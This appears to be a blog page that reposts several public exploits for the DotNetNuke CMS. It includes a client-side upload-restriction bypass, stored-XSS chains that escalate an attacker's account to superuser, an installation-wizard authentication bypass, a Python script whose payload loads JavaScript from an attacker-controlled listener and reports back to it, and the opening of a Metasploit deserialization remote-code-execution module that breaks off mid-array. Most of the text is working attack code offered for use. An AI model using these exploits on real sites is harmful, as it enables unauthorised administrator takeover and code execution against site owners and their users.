# Exploit Title: DotNetNuke 9.5 - File Upload Restrictions Bypass
# Date: 2020-02-23
# Exploit Author: Sajjad Pourali
# Vendor Homepage: http://dnnsoftware.com/
# Software Link: https://github.com/dnnsoftware/Dnn.Platform/releases/download/v9.5.0/DNN_Platform_9.5.0_Install.zip
# Version: <= 9.5
# CVE : N/A
# More Info: https://medium.com/@SajjadPourali/dnn-dotnetnuke-cms-not-as-secure-as-you-think-e8516f789175
The DNN has a file upload module for superuser. As a superuser, you can upload files with the following formats — “jpg, jpeg, jpe, gif, bmp, png, svg, ttf, eot, woff, doc, docx, xls, xlsx, ppt, pptx, pdf, txt, xml, xsl, xsd, css, zip, rar, template, htmtemplate, ico, avi, mpg, mpeg, mp3, wmv, mov, wav, mp4, webm, ogv”.
As a normal user you are allowed to upload files with “bmp,gif,ico,jpeg,jpg,jpe,png,svg” extensions. The same file upload module used for superuser is reused for normal users with extra validation for a few additional extensions e.g. CSS extension is not allowed.
Unfortunately, only for superuser, whitelisted extension check is performed at the server end. For normal users, extra extension validation is performed at client-side only. Hence, a low privileged normal user can bypass the client-side validation and upload files with extensions which are allowed only for superuser only.
For example, a normal privileged user can upload a file with extension which is allowed only for superuser, by executing the following code on a browser’s console (in the tab that manages profile’s page has opened). This attack may also be performed using proxy tools such as Burp, ZAP etc.
dnn.createFileUpload({
"clientId": "dnn_ctr_EditUser_Profile_ProfileProperties_Photo_PhotoFileControl_FileUploadControl",
"moduleId": "",
"parentClientId": null,
"showOnStartup": true,
"folderPicker": {
"selectedItemCss": "selected-item",
"internalStateFieldId": null,
"disabled": false,
"selectItemDefaultText": "",
"initialState": {
"selectedItem": {
"key": "0",
"value": "My Folder"
}
},
"onSelectionChanged": []
},
"maxFileSize": 299892736,
"maxFiles": 0,
"extensions": ["jpg", "jpeg", "jpe", "gif", "bmp", "png", "svg", "ttf", "eot", "woff", "doc", "docx", "xls", "xlsx", "ppt", "pptx", "pdf", "txt", "xml", "xsl", "xsd", "css", "zip", "rar", "template", "htmtemplate", "ico", "avi", "mpg", "mpeg", "mp3", "wmv", "mov", "wav", "mp4", "webm", "ogv"],
"resources": {
"title": "Upload Files",
"decompressLabel": "Decompress Zip Files",
"uploadToFolderLabel": "Upload To:",
"dragAndDropAreaTitle": "Drag files here or click to browse",
"uploadFileMethod": "Upload File",
"uploadFromWebMethod": "From URL",
"closeButtonText": "Close",
"uploadFromWebButtonText": "Upload",
"decompressingFile": "Decompressing File",
"fileIsTooLarge": "File size bigger than 286. Mb",
"fileUploadCancelled": "Upload cancelled",
"fileUploadFailed": "Upload failed",
"fileUploaded": "File uploaded",
"emptyFileUpload": "Your browser does not support empty file uploads.",
"fileAlreadyExists": "The file you want to upload already exists in this folder.",
"uploadStopped": "File upload stopped",
"urlTooltip": "Enter Resource URL like https://SomeWebSite.com/Images/About.png",
"keepButtonText": "Keep",
"replaceButtonText": "Replace",
"tooManyFiles": "You cannot upload more than {0} file(s) at once.",
"invalidFileExtensions": "Some selected files with invalid extensions are excluded from upload. You can only upload files with the following extensions: bmp, gif, ico, jpeg, jpg, jpe, png, svg.",
"unzipFilePromptTitle": "Unzip Information",
"unzipFileFailedPromptBody": "<div class=\"invalidFiles\"><p>[COUNT] of [TOTAL] file(s) were not extracted because their file types are not supported:</p>[FILELIST]</div>",
"unzipFileSuccessPromptBody": "<div class=\"validFiles\"><p>[TOTAL] of [TOTAL] file(s) were extracted successfully.</p></div>",
"errorDialogTitle": "Error"
},
"width": 780,
"height": 630,
"folderPath": dnn.dnnFileUpload.settings.dnn_ctr_EditUser_Profile_ProfileProperties_Photo_PhotoFileControl_dnnFileUploadScope.folder,
"parameters": {}
});
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863153225
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
/*
Exploit Title: "Display Name" Stored Unauthenticated XSS in DNN v9.3.2
Date: 4th of July, 2019
Exploit Author: Semen Alexandrovich Lyhin
Vendor Homepage: https://www.dnnsoftware.com/
Software Link: https://github.com/dnnsoftware/Dnn.Platform/releases
Version: v9.3.2
CVE : CVE-2019-13293
A malicious unauthenticated person can attempt to register a user with the XSS payload in "Display Name" parameter.
The administrator of the website will see a notification that a new user needs to be approved.
An administrator should click on this notification, and the JavaScript code will be executed in the administrator's browser.
This exploit adds the user, and grants him administrator priviliges.
A native module "module creator" also allows remote code execution.
*/
function ApproveNotification(baseurl, id) {
return new Promise(function (resolve, reject) {
var url = baseurl + "/Activity-Feed/Messages/";
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function () {
if (xhr.readyState == 4) {
var data;
if (!xhr.responseType === "text") {
data = xhr.responseText;
} else if (xhr.responseType === "document") {
data = xhr.responseXML;
} else {
data = xhr.response;
}
var parser = new DOMParser();
var resp = parser.parseFromString(data, "text/html");
token = resp.getElementsByName('__RequestVerificationToken')[0].value; //grab first available token
var post_params = "NotificationId=" + id;
var x1 = new XMLHttpRequest();
x1.open("POST", baseurl + "/API/InternalServices/NewUserNotificationService/Authorize");
x1.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=utf-8");
x1.setRequestHeader('RequestVerificationToken', token);
x1.send(post_params);
resolve();
}
}
xhr.open('GET', url, true);
xhr.send(null);
});
}
function MakeSuperAdmin(baseurl, id) {
return new Promise(function (resolve, reject) {
var url = baseurl + "/Activity-Feed/Messages/";
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function () {
if (xhr.readyState == 4) {
var data;
if (!xhr.responseType === "text") {
data = xhr.responseText;
} else if (xhr.responseType === "document") {
data = xhr.responseXML;
} else {
data = xhr.response;
}
var parser = new DOMParser();
var resp = parser.parseFromString(data, "text/html");
token = resp.getElementsByName('__RequestVerificationToken')[0].value; //grab first available token
var post_params = "null"
var x1 = new XMLHttpRequest();
x1.open("POST", baseurl + "/API/PersonaBar/Users/UpdateSuperUserStatus?userId=" + id + "&setSuperUser=true");
x1.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=utf-8");
x1.setRequestHeader('RequestVerificationToken', token);
x1.send(post_params);
resolve();
}
}
xhr.open('GET', url, true);
xhr.send(null);
});
}
function GetNotification(baseurl, username, moduleid, tabid) {
return new Promise(function (resolve, reject) {
var url = baseurl +"/dotnetnuke/Activity-Feed/Messages/"
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function () {
if (xhr.readyState == 4) {
var data;
if (!xhr.responseType === "text") {
data = xhr.responseText;
} else if (xhr.responseType === "document") {
data = xhr.responseXML;
} else {
data = xhr.response;
}
var parser = new DOMParser();
var resp = parser.parseFromString(data, "text/html");
token = resp.getElementsByName('__RequestVerificationToken')[0].value; //grab first available token
var x1 = new XMLHttpRequest();
x1.open("GET", baseurl + "/API/CoreMessaging/MessagingService/Notifications?afterNotificationId=-1&numberOfRecords=1000&_=1562677665517", true);
x1.setRequestHeader('ModuleId', moduleid);
x1.setRequestHeader('TabId', tabid);
x1.onreadystatechange = () => {
if (x1.readyState == 4) {
if (!x1.responseType === "text") {
data = x1.responseText;
} else if (x1.responseType === "document") {
data = x1.responseXML;
} else {
data = x1.response;
}
//console.log(JSON.parse(data));
data = JSON.parse(data);
for (var key in data['Notifications']){
if (data['Notifications'][key]['Body'].includes(username)) {
resolve((data['Notifications'][key]['NotificationId']));
};
}
reject();
}
}
x1.send(null);
}
}
xhr.open('GET', url, true);
xhr.send(null);
});
}
function GetUserId(baseurl, username, tabid) {
return new Promise(function (resolve, reject) {
var url = baseurl +"/dotnetnuke/Activity-Feed/Messages/"
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function () {
if (xhr.readyState == 4) {
var data;
if (!xhr.responseType === "text") {
data = xhr.responseText;
} else if (xhr.responseType === "document") {
data = xhr.responseXML;
} else {
data = xhr.response;
}
var parser = new DOMParser();
var resp = parser.parseFromString(data, "text/html");
token = resp.getElementsByName('__RequestVerificationToken')[0].value; //grab first available token
var x1 = new XMLHttpRequest();
x1.open("GET", baseurl + "/API/PersonaBar/Users/GetUsers?searchText=" + username + "&filter=0&pageIndex=0&pageSize=10&sortColumn=&sortAscending=false", true);
x1.setRequestHeader('TabId', tabid);
x1.onreadystatechange = () => {
if (x1.readyState == 4) {
if (!x1.responseType === "text") {
data = x1.responseText;
} else if (x1.responseType === "document") {
data = x1.responseXML;
} else {
data = x1.response;
}
//console.log(data);
data = JSON.parse(data);
resolve((data['Results'][0]['userId']));
reject();
}
}
x1.send(null);
}
}
xhr.open('GET', url, true);
xhr.send(null);
});
}
async function main(){
var username = "nobody34567";
var baseurl = "http://192.168.18.10/dotnetnuke/";
var moduleid = "374";
var tabid = "27"; //It's default ID of the module and tab, that should be used to get notification id. We can also parse it from the webpage.
var NotificationId = await GetNotification(baseurl, username, moduleid, tabid);
await ApproveNotification(baseurl, NotificationId);
var UserID = await GetUserId(baseurl, username, tabid);
MakeSuperAdmin(baseurl, UserID);
}
main();
source: https://www.securityfocus.com/bid/61770/info
DotNetNuke is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
DotNetNuke prior to versions 7.1.1 and 6.2.9 are vulnerable.
http://www.example.com/?__dnnVariable={'__dnn_pageload':'alert(/XSS/)'}
# Exploit Title: DotNetNuke 07.04.00 Administration Authentication Bypass
# Date: 06-05-2016
# Exploit Author: Marios Nicolaides
# Vendor Homepage: http://www.dnnsoftware.com/
# Software Link: https://dotnetnuke.codeplex.com/releases/view/611324
# Version: 07.04.00
# Tested on: Microsoft Windows 7 Professional (64-bit)
# Contact: marios.nicolaides@outlook.com
# CVE: CVE-2015-2794
# Category: webapps
1. Description
DotNetNuke 07.04.00 does not prevent anonymous users from accessing the installation wizard, as a result a remote attacker
can 'reinstall' DNN and get unauthorised access as a SuperUser.
Previous versions of DotNetNuke may also be affected.
2. Proof of Concept
The exploit can be demonstrated as follows:
If the DNN SQL database is in the default location and configuration:
- Database Type: SQL Server Express File
- Server Name: .\SQLExpress
- Filename: Database.mdf (This is the default database file of DNN. You can find it at \App_Data\Database.mdf)
The following URL will create an account with the username: 'host', password: 'dnnhost':
http://www.example.com/Install/InstallWizard.aspx?__VIEWSTATE=&culture=en-US&executeinstall
If the DNN SQL database is not in the default configuration then the attacker must know its configuration or be able to brute-force guess it.
A. Visit http://www.example.com/Install/InstallWizard.aspx?__VIEWSTATE=
B. Fill in the form and submit it:
Username: whatever
Password: whateverpassword
Email address: whatever@example.com (You will get an error msg due to client-side validation, just ignore it)
Website Name: Whatever Site Name
Database Setup Custom:
- Database Type: SQL Server Express File
- Server Name: .\SQLExpress
- This is the SQL Server instance name that we need to find or brute-force guess it in order to complete the installation.
- If MSSQL database is accessible you can use auxiliary/scanner/mssql/mssql_ping from MSF to get it.
- Filename: Database.mdf
- This is the default database file of DNN. You can find it at "\App_Data\Database.mdf".
- Tick the box Run Database as a Database Owner
C. You will probably get an error. Remove the "__VIEWSTATE=" parameter from the URL and press enter.
D. When the installation completes click Visit Website.
E. Login with your credentials.
3. Solution:
Update to version 07.04.01
https://dotnetnuke.codeplex.com/releases/view/615317
4. References:
http://www.dnnsoftware.com/platform/manage/security-center (See 2015-05 (Critical) unauthorized users may create new host accounts)
http://www.dnnsoftware.com/community-blog/cid/155198/workaround-for-potential-security-issue
# Exploit Title: Stored Cross-Site Scripting in DotNetNuke (DNN) Version before 9.4.0
# Exploit Description : This exploit will add a superuser to target DNN website.
# Exploit Condition : Successful exploitation occurs when an admin user visits a notification page.
# Exploit Author: MAYASEVEN
# CVE : CVE-2019-12562 (https://www.cvedetails.com/cve/CVE-2019-12562/)
# Github : https://github.com/MAYASEVEN/CVE-2019-12562
# Website : https://mayaseven.com
import urllib.request
from bs4 import BeautifulSoup
####################################################################################################
################################## Config the variables here #######################################
####################################################################################################
TARGET_URL = "http://targetdomain/DotNetNuke"
USERNAME = "MAYASEVEN" # At least five characters long
PASSWORD = "P@ssw0rd" # At least 0 non-alphanumeric characters, At least 7 characters
EMAIL = "research@mayaseven.com" # Change email to any you want
# A web server for listening an event
LISTEN_URL = "http://yourdomain.com:1337"
#####################################################################################################
#####################################################################################################
#####################################################################################################
# Payload to add a superuser to website
PAYLOAD = "John<script src='"+LISTEN_URL+"/payload.js'></script>"
FILE_CONTENT = """var token = document.getElementsByName("__RequestVerificationToken")[0].value;
var xhttp = new XMLHttpRequest();
var params = "{'firstName':'"""+USERNAME+"""','lastName':'"""+USERNAME+"""','email':'"""+EMAIL+"""','userName':'"""+USERNAME+"""','password':'"""+PASSWORD+"""','question':'','answer':'','randomPassword':false,'authorize':true,'notify':false}";
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
var returnhttp1 = new XMLHttpRequest();
returnhttp1.open("GET", '"""+LISTEN_URL+"""/Added_the_user');
returnhttp1.send();
var xhttp2 = new XMLHttpRequest();
var userId = JSON.parse(xhttp.responseText).userId;
xhttp2.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
var returnhttp2 = new XMLHttpRequest();
returnhttp2.open("GET", '"""+LISTEN_URL+"""/Make_superuser_success');
returnhttp2.send();
}
}
xhttp2.open('POST', '"""+TARGET_URL+"""/API/PersonaBar/Users/UpdateSuperUserStatus?userId='+userId+'&setSuperUser=true', true);
xhttp2.setRequestHeader('Content-type', 'application/json; charset=UTF-8');
xhttp2.setRequestHeader('RequestVerificationToken', token);
xhttp2.send(params);
}
};
xhttp.open('POST', '"""+TARGET_URL+"""/API/PersonaBar/Users/CreateUser', true);
xhttp.setRequestHeader('Content-type', 'application/json; charset=UTF-8');
xhttp.setRequestHeader('RequestVerificationToken', token);
xhttp.send(params);
"""
def create_payload():
# Create a payload.js file
f = open("payload.js", "w")
f.write(FILE_CONTENT)
f.close()
def check_target():
global regpage
reg = urllib.request.urlopen(TARGET_URL+"/Register")
regpage = reg.read().decode("utf8")
reg.close()
if "dnn" in regpage:
return True
else: return False
def exploit():
# Fetching parameter from regpage
soup = BeautifulSoup(regpage, 'html.parser')
formhtml = soup.find("div", {"id": "dnn_ctr_Register_userForm"})
inputdata = BeautifulSoup(regpage, 'html.parser').findAll("input")
param = {}
print(" [+] Fetching DNN random parameter name.")
for i in soup.select('input[name*="_TextBox"]'):
print(" [+]", i["aria-label"],":", i["name"])
param[i["aria-label"]] = i["name"]
ScriptManager = "dnn$ctr$Register_UP|dnn$ctr$Register$registerButton"
__EVENTVALIDATION = soup.find("input", {"id": "__EVENTVALIDATION"})["value"]
__VIEWSTATE = soup.find("input", {"id": "__VIEWSTATE"})["value"]
__EVENTTARGET = "dnn$ctr$Register$registerButton"
# Posting data to target
headers = {'Content-Type': 'application/x-www-form-urlencoded; charset=utf-8'}
data = {'ScriptManager': ScriptManager, '__EVENTVALIDATION': __EVENTVALIDATION, '__VIEWSTATE': __VIEWSTATE, '__EVENTTARGET': __EVENTTARGET,
param['Username']: "dummy_"+USERNAME, param["Password"]: PASSWORD, param["PasswordConfirm"]: PASSWORD, param["DisplayName"]: PAYLOAD, "dummy_"+param["Email"]: EMAIL, '__ASYNCPOST': 'true'}
data = urllib.parse.urlencode(data).encode()
req = urllib.request.Request(TARGET_URL+"/Register", data=data, headers=headers)
response = urllib.request.urlopen(req)
if "An email with your details has been sent to the Site Administrator" in response.read().decode("utf8"):
create_payload()
return True
elif "A user already exists" in response.read().decode("utf8"):
print(" [!] The user already exists")
return False
elif "The Display Name is invalid." in response.read().decode("utf8"):
print(" [!] DotNetNuke verion already been patched")
else: return False
def main():
print("[ Checking the target ]")
if(check_target()):
print(" [+] Target is DNN website.")
print(" [+] URL: %s" % TARGET_URL)
else:
print(" [!] Target is not DNN website and exploit will not working.")
return
print("[ Running an exploit ]")
if(exploit()):
print("[ Successful exploited the target ]")
print("> Creating a payload.js file in current directory.")
print("> You have to serve the web server and place payload.js on it.")
print("> And waiting admin to open a notification then the user will be added.")
print("> Username: %s" % USERNAME)
print("> Password: %s" % PASSWORD)
else:
print(" [!] Failed to exploit the target.")
return
if(__name__ == "__main__"):
main()
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/exploit/powershell'
require 'openssl'
require 'set'
class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::HttpServer
Rank = ExcellentRanking
# =================================
# Overidden setup method to allow
# for delayed handler start
# =================================
def setup
# Reset the session counts to zero.
reset_session_counts
return if !payload_instance
return if !handler_enabled?
# Configure the payload handler
payload_instance.exploit_config = {
'active_timeout' => active_timeout
}
# payload handler is normally set up and started here
# but has been removed so we can start the handler when needed.
end
def initialize(info = {})
super(update_info(
info,
'Name' => "DotNetNuke Cookie Deserialization Remote Code Execution",
'Description' => %q(
This module exploits a deserialization vulnerability in DotNetNuke (DNN) versions 5.0.0 to 9.3.0-RC.
Vulnerable versions store profile information for users in the DNNPersonalization cookie as XML.
The expected structure includes a "type" attribute to instruct the server which type of object to create on deserialization.
The cookie is processed by the application whenever it attempts to load the current user's profile data.
This occurs when DNN is configured to handle 404 errors with its built-in error page (default configuration).
An attacker can leverage this vulnerability to execute arbitrary code on the system.
),
'License' => MSF_LICENSE,
'Author' => [ 'Jon Park', 'Jon Seigel' ],
'References' =>
[
[ 'CVE', '2017-9822' ],
[ 'CVE', '2018-15811'],
[ 'CVE', '2018-15812'],
[ 'CVE', '2018-18325'], # due to failure to patch CVE-2018-15811
[ 'CVE', '2018-18326'], # due to failure to patch CVE-2018-15812
[ 'URL', 'https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf'],
[ 'URL', 'https://googleprojectzero.blogspot.com/2017/04/exploiting-net-managed-dcom.html'],
[ 'URL', 'https://github.com/pwntester/ysoserial.net']
],
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { 'auto' => true } ],
[ 'v5.0 - v9.0.0', { 'ReqEncrypt' => false, 'ReqSession' => false } ],
[ 'v9.0.1 - v9.1.1', { 'ReqEncrypt' => false, 'ReqSession' => false } ],
[ 'v9.2.0 - v9.2.1', { 'ReqEncrypt' => true, 'ReqSession' => true } ],
[ 'v9.2.2 - v9.3.0-RC', { 'ReqEncrypt' => true, 'ReqSession' => true } ]
],
'Stance' => Msf::Exploit::Stance::Aggressive,
'Payload' =>
{
},
'Privileged' => false,
'DisclosureDate' => "Jul 20 2017",
'DefaultOptions' => { 'WfsDelay' => 5 },
'DefaultTarget' => 0
))
deregister_options('SRVHOST')
register_options(
[
OptString.new('TARGETURI', [true, 'The path that will result in the DNN 404 response', '/__']),
OptBool.new('DryRun', [false, 'Performs target version check, finds encryption KEY and IV values if required, and outputs a cookie payload', false]),
OptString.new('VERIFICATION_PLAIN', [false, %q(The known (full or partial) plaintext of the encrypted verification code.
Typically in the format of {portalID}-{userID} where portalID is an integer and userID is either an integer or GUID (v9.2.2+)), '']),
OptBool.new('ENCRYPTED', [true, %q(Whether or not to encrypt the final payload cookie;
(VERIFICATION_CODE and VERIFICATION_PLAIN) or (KEY and IV) are required if set to true.), false]),
OptString.new('KEY', [false, 'The key to use for encryption.', '']),
OptString.new('IV', [false, 'The initialization vector to use for encryption.', '']),
OptString.new('SESSION_TOKEN', [false, %q(The .DOTNETNUKE session cookie to use when submitting the payload to the target server.
DNN versions 9.2.0+ require the attack to be submitted from an authenticated context.), '']),
OptString.new('VERIFICATION_CODE', [false, %q(The encrypted verification code received in a registration email.
Can also be the path to a file containing a list of verification codes.), ''])
]
)
initialize_instance_variables
end
def initialize_instance_variables
# ==================
# COMMON VARIABLES
# ==================
@target_idx = 0
# Flag for whether or not to perform exploitation
@dry_run = false
# Flag for whether or not the target requires encryption
@encrypted = false
# Flag for whether or not to attempt to decrypt the provided verification token(s)
@try_decrypt = false
# ==================
# PAYLOAD VARIABLES
# ==================
# ObjectStateFormatter serialized header
@osf_header = [255, 1, 50]
# ObjectStateFormatter serialized data before the command payload
@osf_wrapper_start = [
0, 1, 0, 0, 0, 255, 255, 255, 255, 1, 0, 0, 0, 0, 0, 0, 0, 12, 2, 0, 0, 0, 73,
83, 121, 115, 116, 101, 109, 44, 32, 86, 101, 114, 115, 105, 111, 110, 61, 52,
46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, 110, 101,
117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101, 121, 84,
111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101,
48, 56, 57, 5, 1, 0, 0, 0, 132, 1, 83, 121, 115, 116, 101, 109, 46, 67, 111,
108, 108, 101, 99, 116, 105, 111, 110, 115, 46, 71, 101, 110, 101, 114, 105,
99, 46, 83, 111, 114, 116, 101, 100, 83, 101, 116, 96, 49, 91, 91, 83, 121,
115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 109, 115, 99, 111,
114, 108, 105, 98, 44, 32, 86, 101, 114, 115, 105, 111, 110, 61, 52, 46, 48,
46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, 110, 101, 117,
116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101, 121, 84, 111,
107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56,
57, 93, 93, 4, 0, 0, 0, 5, 67, 111, 117, 110, 116, 8, 67, 111, 109, 112, 97,
114, 101, 114, 7, 86, 101, 114, 115, 105, 111, 110, 5, 73, 116, 101, 109, 115,
0, 3, 0, 6, 8, 141, 1, 83, 121, 115, 116, 101, 109, 46, 67, 111, 108, 108, 101,
99, 116, 105, 111, 110, 115, 46, 71, 101, 110, 101, 114, 105, 99, 46, 67, 111,
109, 112, 97, 114, 105, 115, 111, 110, 67, 111, 109, 112, 97, 114, 101, 114,
96, 49, 91, 91, 83, 121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103,
44, 32, 109, 115, 99, 111, 114, 108, 105, 98, 44, 32, 86, 101, 114, 115, 105,
111, 110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114,
101, 61, 110, 101, 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99,
75, 101, 121, 84, 111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49,
57, 51, 52, 101, 48, 56, 57, 93, 93, 8, 2, 0, 0, 0, 2, 0, 0, 0, 9, 3, 0, 0, 0,
2, 0, 0, 0, 9, 4, 0, 0, 0, 4, 3, 0, 0, 0, 141, 1, 83, 121, 115, 116, 101, 109,
46, 67, 111, 108, 108, 101, 99, 116, 105, 111, 110, 115, 46, 71, 101, 110, 101,
114, 105, 99, 46, 67, 111, 109, 112, 97, 114, 105, 115, 111, 110, 67, 111, 109,
112, 97, 114, 101, 114, 96, 49, 91, 91, 83, 121, 115, 116, 101, 109, 46, 83,
116, 114, 105, 110, 103, 44, 32, 109, 115, 99, 111, 114, 108, 105, 98, 44, 32,
86, 101, 114, 115, 105, 111, 110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67,
117, 108, 116, 117, 114, 101, 61, 110, 101, 117, 116, 114, 97, 108, 44, 32, 80,
117, 98, 108, 105, 99, 75, 101, 121, 84, 111, 107, 101, 110, 61, 98, 55, 55,
97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56, 57, 93, 93, 1, 0, 0, 0, 11,
95, 99, 111, 109, 112, 97, 114, 105, 115, 111, 110, 3, 34, 83, 121, 115, 116,
101, 109, 46, 68, 101, 108, 101, 103, 97, 116, 101, 83, 101, 114, 105, 97, 108,
105, 122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 9, 5, 0, 0, 0,
17, 4, 0, 0, 0, 2, 0, 0, 0, 6, 6, 0, 0, 0
]
# ObjectStateFormatter serialized data to place after the command payload.
@osf_wrapper_end = [
6, 7, 0, 0, 0, 3, 99, 109, 100, 4, 5, 0, 0, 0, 34, 83, 121, 115, 116, 101,
109, 46, 68, 101, 108, 101, 103, 97, 116, 101, 83, 101, 114, 105, 97, 108,
105, 122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 3, 0, 0, 0, 8,
68, 101, 108, 101, 103, 97, 116, 101, 7, 109, 101, 116, 104, 111, 100, 48, 7,
109, 101, 116, 104, 111, 100, 49, 3, 3, 3, 48, 83, 121, 115, 116, 101, 109,
46, 68, 101, 108, 101, 103, 97, 116, 101, 83, 101, 114, 105, 97, 108, 105,
122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 43, 68, 101, 108,
101, 103, 97, 116, 101, 69, 110, 116, 114, 121, 47, 83, 121, 115, 116, 101,
109, 46, 82, 101, 102, 108, 101, 99, 116, 105, 111, 110, 46, 77, 101, 109,
98, 101, 114, 73, 110, 102, 111, 83, 101, 114, 105, 97, 108, 105, 122, 97,
116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 47, 83, 121, 115, 116, 101,
109, 46, 82, 101, 102, 108, 101, 99, 116, 105, 111, 110, 46, 77, 101, 109,
98, 101, 114, 73, 110, 102, 111, 83, 101, 114, 105, 97, 108, 105, 122, 97,
116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 9, 8, 0, 0, 0, 9, 9, 0, 0,
0, 9, 10, 0, 0, 0, 4, 8, 0, 0, 0, 48, 83, 121, 115, 116, 101, 109, 46, 68,
101, 108, 101, 103, 97, 116, 101, 83, 101, 114, 105, 97, 108, 105, 122, 97,
116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 43, 68, 101, 108, 101, 103,
97, 116, 101, 69, 110, 116, 114, 121, 7, 0, 0, 0, 4, 116, 121, 112, 101, 8,
97, 115, 115, 101, 109, 98, 108, 121, 6, 116, 97, 114, 103, 101, 116, 18,
116, 97, 114, 103, 101, 116, 84, 121, 112, 101, 65, 115, 115, 101, 109, 98,
108, 121, 14, 116, 97, 114, 103, 101, 116, 84, 121, 112, 101, 78, 97, 109,
101, 10, 109, 101, 116, 104, 111, 100, 78, 97, 109, 101, 13, 100, 101, 108,
101, 103, 97, 116, 101, 69, 110, 116, 114, 121, 1, 1, 2, 1, 1, 1, 3, 48, 83,
121, 115, 116, 101, 109, 46, 68, 101, 108, 101, 103, 97, 116, 101, 83, 101,
114, 105, 97, 108, 105, 122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101,
114, 43, 68, 101, 108, 101, 103, 97, 116, 101, 69, 110, 116, 114, 121, 6, 11,
0, 0, 0, 176, 2, 83, 121, 115, 116, 101, 109, 46, 70, 117, 110, 99, 96, 51,
91, 91, 83, 121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32,
109, 115, 99, 111, 114, 108, 105, 98, 44, 32, 86, 101, 114, 115, 105, 111,
110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114,
101, 61, 110, 101, 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99,
75, 101, 121, 84, 111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49,
57, 51, 52, 101, 48, 56, 57, 93, 44, 91, 83, 121, 115, 116, 101, 109, 46, 83,
116, 114, 105, 110, 103, 44, 32, 109, 115, 99, 111, 114, 108, 105, 98, 44,
32, 86, 101, 114, 115, 105, 111, 110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32,
67, 117, 108, 116, 117, 114, 101, 61, 110, 101, 117, 116, 114, 97, 108, 44,
32, 80, 117, 98, 108, 105, 99, 75, 101, 121, 84, 111, 107, 101, 110, 61, 98,
55, 55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56, 57, 93, 44, 91, 83,
121, 115, 116, 101, 109, 46, 68, 105, 97, 103, 110, 111, 115, 116, 105, 99,
115, 46, 80, 114, 111, 99, 101, 115, 115, 44, 32, 83, 121, 115, 116, 101,
109, 44, 32, 86, 101, 114, 115, 105, 111, 110, 61, 52, 46, 48, 46, 48, 46,
48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, 110, 101, 117, 116, 114,
97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101, 121, 84, 111, 107, 101,
110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56, 57, 93,
93, 6, 12, 0, 0, 0, 75, 109, 115, 99, 111, 114, 108, 105, 98, 44, 32, 86,
101, 114, 115, 105, 111, 110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67,
117, 108, 116, 117, 114, 101, 61, 110, 101, 117, 116, 114, 97, 108, 44, 32,
80, 117, 98, 108, 105, 99, 75, 101, 121, 84, 111, 107, 101, 110, 61, 98, 55,
55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56, 57, 10, 6, 13, 0, 0, 0,
73, 83, 121, 115, 116, 101, 109, 44, 32, 86, 101, 114, 115, 105, 111, 110,
61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61,
110, 101, 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101,
121, 84, 111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51,
52, 101, 48, 56, 57, 6, 14, 0, 0, 0, 26, 83, 121, 115, 116, 101, 109, 46, 68,
